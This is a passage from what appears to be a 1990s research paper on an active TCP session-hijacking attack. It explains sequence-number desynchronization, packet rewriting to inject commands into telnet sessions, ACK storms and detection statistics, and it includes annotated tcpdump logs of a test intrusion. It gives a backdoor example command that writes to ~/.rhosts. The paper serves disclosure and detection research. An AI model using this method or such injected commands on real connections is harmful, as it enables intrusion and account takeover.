risk. The following paper describes an extremely simple active attack which has been successfully used to break into Unix hosts and which can be done with the same resources as for a passive sniffing attack. [The attacks have been performed with a test software and the users were aware of the attack. Although we do not have any knowledge of such an attack being used on the Internet, it may be possible.] Some uncommon behaviors of the TCP protocol are also presented as well as some real examples and statistical studies of the attack's impact on the network. Finally some detection and prevention schemes are explained. In order to help any reader unfamiliar with the subtleties of the TCP protocol the article starts with a short description of TCP. The reader can also refers to another attack by R. Morris presented in [morris85]. Though the following attack is related to Morris' one, it is more widely usable on any TCP connection. In section 7 we present and compare this attack with the present one. The presentation of the attack will be divided into three parts: the Established State'' which is the state where the session is open and data is exchanged; the set up (or opening) of such a session; and finally some real examples. 2. Established State 2.1 The TCP protocol This section offers a short description of the TCP protocol. For more details the reader can refer to [rfc793]. TCP provides a full duplex reliable stream connection between two end points. A connection is uniquely defined by the quadruple (IP address of sender, TCP port number of the sender, IP address of the receiver, TCP port number of the receiver). Every byte that is sent by a host is marked with a sequence number (32 bits integer) and is acknowledged by the receiver using this sequence number. The sequence number for the first byte sent is computed during the connection opening. It changes for any new connection based on rules designed to avoid reuse of the same sequence number for two different sessions of a TCP connection. We shall assume in this document that one point of the connection acts as a server (for instance a telnet server) and the other as the client. The following terms will be used: SVR_SEQ: sequence number of the next byte to be sent by the server; SVR_ACK: next byte to be received by the server (the sequence number of the last byte received plus one); SVR_WIND: server's receive window; CLT_SEQ: sequence number of the next byte to be sent by the client; CLT_ACK: next byte to be received by the client; CLT_WIND: client's receive window; At the beginning when no data has been exchanged we have SVR_SEQ = CLT_ACK and CLT_SEQ = SVR_ACK. These equations are also true when the connection is in a 'quiet' state (no data being sent on each side). They are not true during transitory states when data is sent. The more general equations are: CLT_ACK <= SVR_SEQ <= CLT_ACK + CLT_WIND SVR_ACK <= CLT_SEQ <= SVR_ACK + SVR_WIND The TCP packet header fields are: Source Port: The source port number; Destination Port: The destination port number; Sequence number: The sequence number of the first byte in this packet; Acknowledgment Number: The expected sequence number of the next byte to be received; Data Offset: Offset of the data in the packet; Control Bits: URG: Urgent Pointer; ACK: Acknowledgment; PSH: Push Function; RST: Reset the connection; SYN: Synchronize sequence numbers; FIN: No more data from sender; Window: Window size of the sender; Checksum: TCP checksum of the header and data; Urgent Pointer: TCP urgent pointer; Options: TCP options; - SEG_SEQ will refer to the packet sequence number (as seen in the header). - SEG_ACK will refer to the packet acknowledgment number. - SEG_FLAG will refer to the control bits. On a typical packet sent by the client (no retransmission) SEG_SEQ is set to CLT_SEQ, SEG_ACK to CLT_ACK. TCP uses a three-way handshake'' to establish a new connection. If we suppose that the client initiates the connection to the server and that no data is exchanged, the normal packet exchange is (C.f. Figure 1): - The connection on the client side is on the CLOSED state. The one on the server side is on the LISTEN state. - The client first sends its initial sequence number and sets the SYN bit: SEG_SEQ = CLT_SEQ_0, SEG_FLAG = SYN Its state is now SYN-SENT - On receipt of this packet the server acknowledges the client sequence number, sends its own initial sequence number and sets the SYN bit: SEG_SEQ = SVR_SEQ_0, SEQ_ACK = CLT_SEQ_0+1, SEG_FLAG = SYN and set SVR_ACK=CLT_SEQ_0+1 Its state is now SYN-RECEIVED - On receipt of this packet the client acknowledges the server sequence number: SEG_SEQ = CLT_SEQ_0+1, SEQ_ACK = SVR_SEQ_0+1 and sets CLT_ACK=SVR_SEQ_0+1 Its state is now ESTABLISHED - On receipt of this packet the server enters the ESTABLISHED state. We now have: CLT_SEQ = CLT_SEQ_0+1 CLT_ACK = SVR_SEQ_0+1 SVR_SEQ = SVR_SEQ_0+1 SVR_ACK = CLT_SEQ_0+1 Server Client LISTEN CLOSED <- SYN, CLT_SEQ_0 LISTEN SYN-SENT SYN, -> SVR_SEQ_0, CLT_SEQ_0+1 SYN-RECEIVED ESTABLISHED SVR_SEQ = CLT_SEQ_0 + 1 CLT_ACK = SVR_SEQ_0 + 1 <- ACK, CLT_SEQ_0 + 1 SVR_SEQ_0+1 ESTABLISHED SVR_SEQ = SVR_SEQ_0 + 1 SVR_ACK = CLT_SEQ_0 + 1 figure 1: Example of a connection opening Closing a connection can be done by using the FIN or the RST flag. If the RST flag of a packet is set the receiving host enters the CLOSED state and frees any resource associated with this instance of the connection. The packet is not acknowledged. Any new incoming packet for that connection will be dropped. If the FIN flag of a packet is set the receiving host enters the CLOSE-WAIT state and starts the process of gracefully closing the connection. The detail of that procces is beyond the scope of this document. The reader can refer to [rfc793] for further details. In the preceding example we specifically avoided any unusual cases such as out-of-band packets, retransmission, loss of packet, concurrent opening, etc... These can be ignored in this simple study of the attack. When in ESTABLISHED state, a packet is acceptable if its sequence number falls within the expected segment [SVR_ACK, SVR_ACK + SVR_WIND] (for the server) or [CLT_ACK, CLT_ACK + CLT_WIND] (for the client). If the sequence number is beyond those limits the packet is dropped and a acknowledged packet will be sent using the expected sequence number. For example if SEG_SEQ = 200, SVR_ACK = 100, SVR_WIND = 50 Then SEG_SEQ > SVR_ACK + SVR_WIND. The server forms a ACK packet with SEG_SEQ = SVR_SEQ SEG_ACK = SVR_ACK which is what the server expects to see in the packet. 2.2 A desynchronized state The term desynchronized state'' will refer to the connection when both sides are in the ESTABLISHED state, no data is being sent (stable state), and SVR_SEQ != CLT_ACK CLT_SEQ != SVR_ACK This state is stable as long as no data is sent. If some data is sent two cases can occur: - If CLT_SEQ < SVR_ACK + SVR_WIND and CLT_SEQ > SVR_ACK the packet is acceptable, the data may be stored for later use (depending on the implementation) but not sent to the user since the beginning of the stream (sequence number SVR_ACK) is missing. - If CLT_SEQ > SVR_ACK + SVR_WIND or CLT_SEQ < SVR_ACK the packet is not acceptable and will be dropped. The data is lost. In both case data exchange is not possible even if the state exists. 2.3 The attack The proposed attack consists of creating a desynchronized state on both ends of the TCP connection so that the two points cannot exchange data any longer. A third party host is then used to create acceptable packets for both ends which mimics the real packets. Assume that the TCP session is in a desynchronized state and that the client sends a packet with SEG_SEQ = CLT_SEQ SEG_ACK = CLT_ACK Since CLT_SEQ != SVR_ACK the data will not be accepted and the packet is dropped. The third party then sends the same packet but changes the SEG_SEQ and SEG_ACK (and the checksum) such that SEG_SEQ = SVR_ACK, SEG_ACK = SVR_SEQ which is acceptable by the server. The data is processed by the server. If CLT_TO_SVR_OFFSET refers to SVR_ACK - CLT_SEQ and SVR_TO_CLT_OFFSET refers to CLT_ACK - SVR_SEQ then the first party attacker has to rewrite the TCP packet from the client to the server as: SEG_SEQ <- SEG_SEQ + CLT_TO_SVR_OFFSET SEG_ACK <- SEG_ACK - SVR_TO_CLT_OFFSET Considering that the attacker can listen to any packet exchanged between the two points and can forge any kind of IP packet (therefore masquerading as either the client or the server) then everything acts as if the connection goes through the attacker machine. This one can add or remove any data to the stream. For instance if the connection is a remote login using telnet the attacker can include any command on behalf of the user (\"echo merit.edu lpj > ~\/.rhosts\" is an example of such a command) and filter out any unwanted echo so that the user will not be aware of the intruder. Of course in this case CLT_TO_SVR_OFFSET and SVR_TO_CLT_OFFSET have to change. The new values are let as an exercise for the reader. [One can turn off the echo in the telnet connection in order to avoid the burden of filtering the output. The test we did showed up a bug in the current telnet implementation (or maybe in the telnet protocol itself). If a TCP packet contains both IAC DONT ECHO and IAC DO ECHO the telnet processor will answer with IAC WONT ECHO and IAC WILL ECHO. The other end point will acknowledge IAC DONT ECHO and IAC DO ECHO etc... creating an endless loop.] 2.4 TCP Ack storm'' A flaw of the attack is the generation of a lot of TCP ACK packets. When receiving an unacceptable packet the host acknowledges it by sending the expected sequence number (As the Acknolegement number. C.f. introduction about TCP) and using its own sequence number. This packet is itself unacceptable and will generate an acknowledgement packet which in turn will generate an acknowledgement packet etc... creating a supposedly endless loop for every data packet sent. Since these packets do not carry data they are not retransmitted if the packet is lost. This means that if one of the packets in the loop is dropped then the loop ends. Fortunately (or unfortunately?) TCP uses IP on an unreliable network layer with a non null packet loss rate, making an end to the loops. Moreover the more packets the network drops, the shorter is the Ack storm (the loop). We also notice that these loops are self regulating: the more loops we create the more traffic we get, the more congestion and packet drops we experience and the more loops are killed. The loop is created each time the client or the server sends data. If no data is sent no loop appears. If data is sent and no attacker is there to acknowledge the data then the data will be retransmitted, a storm will be created for each retransmission, and eventually the connection will be dropped since no ACK of the data is sent. If the attacker acknowledges the data then only one storm is produced (in practice the attacker often missed the data packet due to the load on the network, and acknowledge the first of subsequent retransmission). The attack uses the second type of packet described in Section 2.2. The first case in which the data is stored by the receiver for later processing has not been tested. It has the advantage of not generating the ACK storm but on the other hand it may be dangerous if the data is actually processed. It is also difficult to use with small window connections. 3. Setup of the session This paper presents two methods for desynchronizing a TCP connection. Others can be imagined but will not be described here. We suppose that the attacker can listen to every packet sent between the two end points. 3.1 Early desynchronization This method consists of breaking the connection in its early setup stage on the server side and creating a new one with different sequence number. Here is the process (Figure 2 summarizes this process) - The attacker listens for a SYN\/ACK packet from the server to the client (stage 2 in the connection set up). - On detection of that packet the attacker sends the server a RST packet and then a SYN packet with exactly the same parameters (TCP port) but a different sequence number (referred to as ATK_ACK_0 in the rest of the paper). - The server will close the first connection when it receives the RST packet and then reopens a new one on the same port but with a different sequence number (SVR_SEQ_0') on receipt of the SYN packet. It sends back a SYN\/ACK packet to the client. - On detection of that packet the attacker sends the server a ACK packet. The server switches to the ESTABLISHED state. - The client has already switched to the ESTABLISHED state when it receives the first SYN\/ACK packet from the server. Server Client LISTEN CLOSED <- SYN, CLT_SEQ_0 SYN-RECEIVED SYN-SENT SYN, -> SVR_SEQ_0, CLT_SEQ_0+1 ESTABLISHED SVR_SEQ = CLT_SEQ_0 + 1 CLT_ACK = SVR_SEQ_0 + 1 <= RST, CLT_SEQ_0 + 1 CLOSED <= SYN, ATK_SEQ_0 SYN, -> SVR_SEQ_0', ATK_SEQ_0 + 1 SYN-RECEIVED <= SYN, ATK_SEQ_0 + 1, SVR_SEQ_0' + 1 ESTABLISHED SVR_SEQ = SVR_SEQ_0' + 1 SVR_ACK = ATK_SEQ_0 + 1 Figure 2: A attack scheme. The attacker's packets are marked with <= This diagram does not show the unacceptable acknowledgement packet exchanges. Both ends are in the desynchronized ESTABLISHED state now. SVR_TO_CLT_OFFSET = SVR_SEQ_0 - SVR_SEQ_0' is fixed by the server. CLT_TO_SVR_OFFSET = ATK_SEQ_0 - CLT_SEQ_0 is fixed by the attacker. The success of the attack relies on the correct value being chosen for CLT_TO_SVR_OFFSET. Wrong value may make the client's packet acceptable and can produce unwanted effects. 3.2 Null data desynchronization This method consists for the attacker in sending a large amount of data to the server and to the client. The data sent shouldn't affect nor be visible to the client or sever, but will put both end of the TCP session in the desynchronized state. The following scheme can be used with a telnet session: - The attacker watchs the session without interfering. - When appropriate the attacker sends a large amount of null data'' to the server. Null data'' refers to data that will not affect anything on the server side besides changing the TCP acknowledgment number. [For instance with a telnet session the attacker sends ATK_SVR_OFFSET bytes consisting of the sequence IAC NOP IAC NOP... Every two bytes IAC NOP will be interpreted by the telnet daemon, removed from the stream of data and nothing will be affected. [The telnet protocol [telnet] defines the NOP command as No Operation''. In other words, do nothing, just ignore those bytes.] Now the Server has SVR_ACK = CLT_SEQ + ATK_SVR_OFFSET which of course is desynchronized. - The attacker does the same thing with the client. The method is useful if the session can carry null data''. The time when the attacker sends that data is also very difficult to determine and may cause some unpredictable side effects. 4. Examples The following logs are provided by running a hacked version of tcpdump [tcpdump] on the local ethernet where the client resides. Comments are preceded by ##'. The first example is a normal telnet session opening between 35.42.1.56 (the client) and 198.108.3.13 (the server). ## The client sends a SYN packet, 1496960000 is its initial sequence nu mber. 11:07:14.934093 35.42.1.56.1374 > 198.108.3.13.23: S 1496960000:1496960000(0) w in 4096 ## The server answers with its initial sequence number and the SYN flag . 11:07:14.936345 198.108.3.13.23 > 35.42.1.56.1374: S 1402880000:1402880000(0) a ck 1496960001 win 4096 ## The client acknowledges the SYN packet. 11:07:14.937068 35.42.1.56.1374 > 198.108.3.13.23: . 1496960001:1496960001(0) a ck 1402880001 win 4096 ## Now the two end points are in the ESTABLISHED state. ## The client sends 6 bytes of data. 11:07:15.021817 35.42.1.56.1374 > 198.108.3.13.23: P 1496960001:1496960007(6) ack 1402880001 win 4096 255 253 \/C 255 251 \/X [... ## The rest of the log is the graceful closing of the connection 11:07:18.111596 198.108.3.13.23 > 35.42.1.56.1374: F 1402880059:1402880059(0) a ck 1496960025 win 4096 11:07:18.112304 35.42.1.56.1374 > 198.108.3.13.23: . 1496960025:1496960025(0) a ck 1402880060 win 4096 11:07:18.130610 35.42.1.56.1374 > 198.108.3.13.23: F 1496960025:1496960025(0) a ck 1402880060 win 4096 11:07:18.132935 198.108.3.13.23 > 35.42.1.56.1374: . 1402880060:1402880060(0) a ck 1496960026 win 4095 The next example is the same session with an intrusion by the attacker. The desynchronized state is created in the early stage of the session (subsection 3.1). The attacker will add the command 'ls;' to the stream of data. The user uses skey to identify himself to the server. From the user's point of view the session looks like this: <lpj@homefries: 1> telnet 198.108.3.13 Trying 198.108.3.13 ... Connected to 198.108.3.13. Escape character is '^'. SunOS UNIX (_host) login: lpj s\/key 70 cn33287 (s\/key required) Password: Last login: Wed Nov 30 11:28:21 from homefries.merit.edu SunOS Release 4.1.3_U1 (GENERIC) #2: Thu Jan 20 15:58:03 PST 1994 (lpj@_host: 1) pwd Mail\/ mbox src\/ elm* resize* traceroute* \/usr\/users\/lpj (lpj@_host: 2) history 1 13:18 ls ; pwd 2 13:18 history (lpj@_host: 3) logoutConnection closed by foreign host. <lpj@homefries: 2> The user types only one command 'pwd' and then asks for the history of the session. The history shows that a ls' has also being issued. The ls command produces an output which has not been filtered. The following log shows the TCP packet exchanges between the client and the server. Unfortunately some packets are missing from this log because they have been dropped by the sniffer's ethernet interface driver. One must see that log like a snapshot of a few instants of the exchange more than the full transaction log. The attacker's window size has been set to uncommon values (400, 500, 1000) in order to make its packets more easily traceable. The attacker is on 35.42.1, three hops away from the server, on the path from the client to the server. The names and addresses of the hosts have been changed for security reasons. ## The client sends a SYN packet, 896896000 is its initial sequence num ber. 11:25:38.946119 35.42.1.146.1098 > 198.108.3.13.23: S 896896000:896896000(0) wi n 4096 ## The server answers with its initial sequence number (1544576000) and the SYN flag. 11:25:38.948408 198.108.3.13.23 > 35.42.1.146.1098: S 1544576000:1544576000(0) ack 896896001 win 4096 ## The client acknowledges the SYN packet. It is in the ESTABLISHED sta te now. 11:25:38.948705 35.42.1.146.1098 > 198.108.3.13.23: . 896896001:896896001(0) ac k 1544576001 win 4096 ## The client sends some data 11:25:38.962069 35.42.1.146.1098 > 198.108.3.13.23: P 896896001:896896007(6) ack 1544576001 win 4096 255 253 \/C 255 251 \/X ## The attacker resets the connection on the server side 11:25:39.015717 35.42.1.146.1098 > 198.108.3.13.23: R 896896101:896896101(0) wi n 0 ## The attacker reopens the connection with an initial sequence number of 601928704 11:25:39.019402 35.42.1.146.1098 > 198.108.3.13.23: S 601928704:601928704(0) wi n 500 ## The server answers with a new initial sequence number (1544640000) a nd the SYN flag. 11:25:39.022078 198.108.3.13.23 > 35.42.1.146.1098: S 1544640000:1544640000(0) ack 601928705 win 4096 ## Since the last packet is unacceptable for the client, it acknowledge s it ## with the expected sequence number (1544576001) 11:25:39.022313 35.42.1.146.1098 > 198.108.3.13.23: . 896896007:896896007(0) ac k 1544576001 win 4096 ## Retransmission to the SYN packet triggered by the unacceptable last packet 11:25:39.023780 198.108.3.13.23 > 35.42.1.146.1098: S 1544640000:1544640000(0) ack 601928705 win 4096 ## The ACK storm loop 11:25:39.024009 35.42.1.146.1098 > 198.108.3.13.23: . 896896007:896896007(0) ac k 1544576001 win 4096 11:25:39.025713 198.108.3.13.23 > 35.42.1.146.1098: S 1544640000:1544640000(0) ack 601928705 win 4096 11:25:39.026022 35.42.1.146.1098 > 198.108.3.13.23: . 896896007:896896007(0) ac k 1544576001 win 4096 [... 11:25:39.118789 198.108.3.13.23 > 35.42.1.146.1098: S 1544640000:1544640000(0) ack 601928705 win 4096 11:25:39.119102 35.42.1.146.1098 > 198.108.3.13.23: . 896896007:896896007(0) ac k 1544576001 win 4096 11:25:39.120812 198.108.3.13.23 > 35.42.1.146.1098: S 1544640000:1544640000(0) ack 601928705 win 4096 11:25:39.121056 35.42.1.146.1098 > 198.108.3.13.23: . 896896007:896896007(0) ac k 1544576001 win 4096 ## Eventually the attacker acknowledges the server SYN packet with the attacker's new ## sequence number (601928705). The data in this packet is the one prev iously ## sent by the client but never received. 11:25:39.122371 35.42.1.146.1098 > 198.108.3.13.23: . 601928705:601928711(6) ack 1544640001 win 400 255 253 \/C 255 251 \/X ## Some ACK storm 11:25:39.124254 198.108.3.13.23 > 35.42.1.146.1098: . 1544640001:1544640001(0) ack 601928711 win 4090 11:25:39.124631 35.42.1.146.1098 > 198.108.3.13.23: . 896896007:896896007(0) ac k 1544576001 win 4096 11:25:39.126217 198.108.3.13.23 > 35.42.1.146.1098: . 1544640001:1544640001(0) ack 601928711 win 4090 11:25:39.126632 35.42.1.146.1098 > 198.108.3.13.23: . 896896007:896896007(0) ac k 1544576001 win 4096 [... 11:25:41.261885 35.42.1.146.1098 > 198.108.3.13.23: . 601928728:601928728(0) ac k 1544640056 win 1000 ## A retransmission by the client 11:25:41.422727 35.42.1.146.1098 > 198.108.3.13.23: P 896896018:896896024(6) ack 1544576056 win 4096 255 253 \/A 255 252 \/A 11:25:41.424108 198.108.3.13.23 > 35.42.1.146.1098: . 1544640059:1544640059(0) ack 601928728 win 4096 [... 11:25:42.323262 35.42.1.146.1098 > 198.108.3.13.23: . 896896025:896896025(0) ac k 1544576059 win 4096 11:25:42.324609 198.108.3.13.23 > 35.42.1.146.1098: . 1544640059:1544640059(0) ack 601928728 win 4096 ## The user ID second character. 11:25:42.325019 35.42.1.146.1098 > 198.108.3.13.23: P 896896025:896896026(1) ack 1544576059 win 4096 p 11:25:42.326313 198.108.3.13.23 > 35.42.1.146.1098: . 1544640059:1544640059(0) ack 601928728 win 4096 [... 11:25:43.241191 35.42.1.146.1098 > 198.108.3.13.23: . 601928731:601928731(0) ac k 1544640060 win 1000 ## Retransmission 11:25:43.261287 198.108.3.13.23 > 35.42.1.146.1098: P 1544640059:1544640061(2) ack 601928730 win 4096 l p 11:25:43.261598 35.42.1.146.1098 > 198.108.3.13.23: . 896896027:896896027(0) ac k 1544576061 win 4096 [... 11:25:43.294192 198.108.3.13.23 > 35.42.1.146.1098: . 1544640061:1544640061(0) ack 601928730 win 4096 11:25:43.922438 35.42.1.146.1098 > 198.108.3.13.23: P 896896026:896896029(3) ack 1544576061 win 4096 j \/M \/@ 11:25:43.923964 198.108.3.13.23 > 35.42.1.146.1098: . 1544640061:1544640061(0) ack 601928730 win 4096 [... 11:25:43.957528 198.108.3.13.23 > 35.42.1.146.1098: . 1544640061:1544640061(0) ack 601928730 win 4096 ## The attacker rewrites the packet sent by the server containing the s key challenge 11:25:44.495629 198.108.3.13.23 > 35.42.1.146.1098: P 1544576064:1544576082(18) ack 896896029 win 1000 s \/ k e y 7 0 c n 3 3 2 8 7 \/M \/J 11:25:44.502533 198.108.3.13.23 > 35.42.1.146.1098: P 1544576082:1544576109(27) ack 896896029 win 1000 ( s \/ k e y r e q u i r e d ) \/M \/J P a s s w o r d : 11:25:44.522500 35.42.1.146.1098 > 198.108.3.13.23: . 896896029:896896029(0) ac k 1544576109 win 4096 [... 11:25:44.558320 198.108.3.13.23 > 35.42.1.146.1098: . 1544640109:1544640109(0) ack 601928733 win 4096 ## Beginning of the skey password sent by the user (client) 11:25:57.356323 35.42.1.146.1098 > 198.108.3.13.23: P 896896029:896896030(1) ack 1544576109 win 4096 T 11:25:57.358220 198.108.3.13.23 > 35.42.1.146.1098: . 1544640109:1544640109(0) ack 601928733 win 4096 [... 11:25:57.412103 198.108.3.13.23 > 35.42.1.146.1098: . 1544640109:1544640109(0) ack 601928733 win 4096 ## Echo of the beginning of the skey password sent by the server 11:25:57.412456 35.42.1.146.1098 > 198.108.3.13.23: P 601928733:601928734(1) ack 1544640109 win 1000 T 11:25:57.412681 35.42.1.146.1098 > 198.108.3.13.23: . 896896030:896896030(0) ac k 1544576109 win 4096 [... 11:25:57.800953 198.108.3.13.23 > 35.42.1.146.1098: . 1544640109:1544640109(0) ack 601928734 win 4096 ## The attacker rewrites the skey password packet 11:25:57.801254 35.42.1.146.1098 > 198.108.3.13.23: P 601928734:601928762(28) ack 1544640109 win 1000 A U T S H I M L O F T V A S E M O O R I D \/M \/@ 11:25:57.801486 35.42.1.146.1098 > 198.108.3.13.23: . 896896058:896896058(0) ac k 1544576109 win 4096 [... 11:25:58.358275 35.42.1.146.1098 > 198.108.3.13.23: . 896896058:896896058(0) ac k 1544576109 win 4096 11:25:58.360109 198.108.3.13.23 > 35.42.1.146.1098: P 1544640263:1544640278(15) ack 601928762 win 4096 ( l p j @ _ r a d b : 1 ) 11:25:58.360418 35.42.1.146.1098 > 198.108.3.13.23: . 896896058:896896058(0) ac k 1544576109 win 4096 [... 11:26:00.919976 35.42.1.146.1098 > 198.108.3.13.23: . 896896058:896896058(0) ac k 1544576278 win 4096 ## The 'p' of the 'pwd' command typed by the user. 11:26:01.637187 35.42.1.146.1098 > 198.108.3.13.23: P 896896058:896896059(1) ack 1544576278 win 4096 p 11:26:01.638832 198.108.3.13.23 > 35.42.1.146.1098: . 1544640278:1544640278(0) ack 601928762 win 4096 [... 11:26:03.183200 35.42.1.146.1098 > 198.108.3.13.23: . 896896063:896896063(0) ac k 1544576280 win 4096 11:26:03.921272 35.42.1.146.1098 > 198.108.3.13.23: P 896896060:896896063(3) ack 1544576280 win 4096 d \/M \/@ 11:26:03.922886 198.108.3.13.23 > 35.42.1.146.1098: . 1544640283:1544640283(0) ack 601928767 win 4096 [... 11:26:04.339186 35.42.1.146.1098 > 198.108.3.13.23: . 896896063:896896063(0) ac k 1544576280 win 4096 11:26:04.340635 198.108.3.13.23 > 35.42.1.146.1098: P 1544640288:1544640307(19) ack 601928770 win 4096 M a i l \/ \/I \/I m b o x \/I \/I s r c \/ \/M \/J 11:26:04.342872 198.108.3.13.23 > 35.42.1.146.1098: P 1544640307:1544640335(28) ack 601928770 win 4096 e l m * \/I \/I r e s i z e * \/I \/I t r a c e r o u t e * \/M \/J 11:26:04.345480 35.42.1.146.1098 > 198.108.3.13.23: . 896896063:896896063(0) ac k 1544576280 win 4096 11:26:04.346791 198.108.3.13.23 > 35.42.1.146.1098: P 1544640335:1544640351(16) ack 601928770 win 4096 \/ u s r \/ u s e r s \/ l p j \/M \/J 11:26:04.347094 35.42.1.146.1098 > 198.108.3.13.23: . 896896063:896896063(0) ac k 1544576280 win 4096 11:26:04.348402 198.108.3.13.23 > 35.42.1.146.1098: P 1544640351:1544640366(15) ack 601928770 win 4096 ( l p j @ _ r a d b : 2 ) 11:26:04.378571 35.42.1.146.1098 > 198.108.3.13.23: . 896896063:896896063(0) ac k 1544576280 win 4096 [... 11:26:09.791045 35.42.1.146.1098 > 198.108.3.13.23: P 601928773:601928775(2) ack 1544640369 win 1000 t o 11:26:09.794653 198.108.3.13.23 > 35.42.1.146.1098: P 1544640369:1544640371(2) ack 601928775 win 4096 t o 11:26:09.794885 35.42.1.146.1098 > 198.108.3.13.23: . 896896068:896896068(0) ac k 1544576366 win 4096 [... 11:26:12.420397 35.42.1.146.1098 > 198.108.3.13.23: P 896896068:896896072(4) ack 1544576368 win 4096 r y \/M \/@ 11:26:12.422242 198.108.3.13.23 > 35.42.1.146.1098: . 1544640371:1544640371(0) ack 601928775 win 4096 [... 11:26:12.440765 35.42.1.146.1098 > 198.108.3.13.23: . 896896072:896896072(0) ac k 1544576368 win 4096 ## The 'ry' of the 'history' command sent by the client 11:26:16.420287 35.42.1.146.1098 > 198.108.3.13.23: P 896896068:896896072(4) ack 1544576368 win 4096 r y \/M \/@ 11:26:16.421801 198.108.3.13.23 > 35.42.1.146.1098: . 1544640371:1544640371(0) ack 601928775 win 4096 [... 11:26:16.483943 35.42.1.146.1098 > 198.108.3.13.23: . 896896072:896896072(0) ac k 1544576368 win 4096 ## The same packet rewritten by the attacker. 11:26:16.505773 35.42.1.146.1098 > 198.108.3.13.23: P 601928775:601928779(4) ack 1544640371 win 1000 r y \/M \/@ ## answer to the history command sent by the server. We can notice the 'ls ;' inclusion ## before the 'pwd' 11:26:16.514225 198.108.3.13.23 > 35.42.1.146.1098: P 1544640371:1544640437(66) ack 601928779 win 4096 r y \/M \/@ \/M \/J 1 \/I 1 1 : 2 8 \/I l s ; p w d \/M \/J 2 \/I 1 1 : 2 8 \/I \/@ \/@ \/@ L \/@ \/@ \/@ T . 220 167 168 \/@ \/G \/@ \/@ \/@ \/X \/@ \/H 137 148 \/@ \/@ 11:26:16.514465 35.42.1.146.1098 > 198.108.3.13.23: . 896896072:896896072(0) ac k 1544576368 win 4096 [... 11:26:16.575344 35.42.1.146.1098 > 198.108.3.13.23: . 896896072:896896072(0) ac k 1544576368 win 4096 ## The same packet rewritten by the attacker. 11:26:16.577183 198.108.3.13.23 > 35.42.1.146.1098: P 1544576368:1544576434(66) ack 896896072 win 1000 r y \/M \/@ \/M \/J 1 \/I 1 1 : 2 8 \/I l s ; p w d \/M \/J 2 \/I 1 1 : 2 8 \/I \/@ \/@ \/@ L \/@ \/@ \/@ T . 220 167 168 \/@ \/H \/ @ \/@ \/@ \/X \/@ \/H 137 148 \/@ \/@ 11:26:16.577490 198.108.3.13.23 > 35.42.1.146.1098: . 1544640437:1544640437(0) ack 601928779 win 4096 [... ## The user log out. 11:26:20.236907 35.42.1.146.1098 > 198.108.3.13.23: P 601928781:601928782(1) ac k 1544640437 win 1000 g 11:26:20.247288 198.108.3.13.23 > 35.42.1.146.1098: . 1544576438:1544576438(0) ack 896896074 win 1000 11:26:20.253500 198.108.3.13.23 > 35.42.1.146.1098: P 1544576435:1544576436(1) ack 896896074 win 1000 o 11:26:20.287513 198.108.3.13.23 > 35.42.1.146.1098: P 1544640439:1544640440(1) ack 601928782 win 4096 g 11:26:20.287942 35.42.1.146.1098 > 198.108.3.13.23: P 896896075:896896076(1) ac k 1544576436 win 4096 o 11:26:20.289312 198.108.3.13.23 > 35.42.1.146.1098: . 1544640440:1544640440(0) ack 601928782 win 4096 11:26:20.289620 35.42.1.146.1098 > 198.108.3.13.23: . 896896076:896896076(0) ac k 1544576436 win 4096 Almost all of the packets with the ACK flag set but with no data are acknowledgement of unacceptable packets. A lot of retransmission occurs due to the load on the network and on the attacker host created by the ACK storm. The real log (including all ACK packets) is about 3000 lines long whereas the one shown here has been stripped to about 100 lines. A lot of packets have also been lost and do not show up in this log. The data collected during the test shows that one real packet sent can generate between 10 and 300 empty Ack packets. Those numbers are of course highly variable. 5. Detection and Side Effects Several flaws of that attack can be used to detect it. Three will be described here but one can imagine some other ways to detect the intrusion. - Desynchronized state detection. By comparing the sequence numbers of both ends of the connection the user can tell if the connection is in the desynchronized state. This method is feasible if we assume that the sequence numbers can be transmitted through the TCP stream without being compromised (changed) by the attacker. Local Ethernet Transit Ethernet Total TCP\/s 80-100 (60-80) 1400 (87) Total Ack 25-75 (25-45) 500 (35) Total Telnet 10-20 (10-25) 140 (10) Total Telnet Ack 5-10 (45-55) 45 (33) Table 1: Percentage of ACK packets without the attack. - Ack storm detection. Some statistics on the TCP traffic conducted on our local ethernet segment outside the attack show that the average ratio of ACK without data packets per total telnet packets is around 45%. On a more loaded transit ethernet the average is about 33% (C.f Table 1) The total number of TCP packets as well as the total number of ACK and telnet packets fluctuate a lot on the local ethernet. The table shows the limits. The percentage of ACK telnet packets is very stable, around 45%. This can be explained by the fact that the telnet session is an interactive session and every character typed by the user must be echoed and acknowledged. The volume of exchanged data is very small each packet usually contains one character or one text line. The data for the transit ethernet is very consistent. Due to the high load on that segment a few packets may have been dropped by the collecting host. When the attack is conducted some of these figures change. The next table shows the results for two types of session. The data has been collected on the local ethernet only. In Table 2 the Local connection' is a session with a host at a few IP hops from the client. The Round Trip Delay (RTD) is approximately 3ms and the actual number of hops is 4. The 'Remote connection' is a session with a RTD of about 40ms and 9 hops away. In the first case the attack is clearly visible. Even if it's very fluctuant, the percentage of TCP ACK is near 100%. Almost all of the traffic is acknowledgement packets. In the second case the detection of the attack is less obvious. The data has to be compared with the first column of Table 1 (local traffic). The percentage of TCP ACK slightly increases but not significantly. One can explain this result by the long RTD which decreases the rate of ACK packets sent. The underlying network is also used to experience between a 5% and 10% packet loss which helps in breaking the ACK loop. Local connection Remote connection Total Telnet 80-400 (60-85) 30-40 (30-35) Total Telnet Ack 75-400 (90-99) 20-25 (60-65) Percentage of ACK packets during an attack. - Increase of the packet loss and retransmission for that particular session. Though no data is available to enlighten us on that behavior the log produced during the attack shows an unusually high level of packet loss and so retransmission. Therefore this implies a deterioration of the response time for the user. The packet loss increase is caused by: - The extra load of the network due to the ACK storms. - The packet dropped by the sniffer of the attacker. The drops tend to increase as the load on the network increases. - Some unexpected connection reset. The following behavior has not been fully investigated since the attacker program developed was to try the validity of the concept more than making the attack transparent to the client and server. These are likely to disappear with a more sophisticated attacker program. The user can experience a connection reset of its session at the early stage of the connection if the protocol of the attack is not correctly executed. A loss of the attacker's RST or SYN packets may leave the server side of the connection in a undefined state (usually CLOSED or SYN-RECEIVED) and may make the client packets acceptable. About 10% of the attacks performed were unsuccessful, ending either by a connection close (very visible) or a non-desynchronized connection (the attacker failed to redirect the stream). Some side effects and notes about TCP and the attack. - TCP implementation. The desynchronization process described here failed on certain TCP implementations. According to [rfc793] a RST packet is not acknowledged and just destroys the TCB. Some TCP implementations do when in a certain state acknowledge the RST packet by sending back a RST packet. When the attacker sends the RST packet to the server the RST is sent back to the client which closes its connection and ends the session. Other desynchronization mechanisms may be investigated which do not reset the connection. - The client and the attacker were always on the same ethernet segment when performing the test. This makes the attack more difficult to run because of a high load on that segment. The collision rate increases and the attacker's 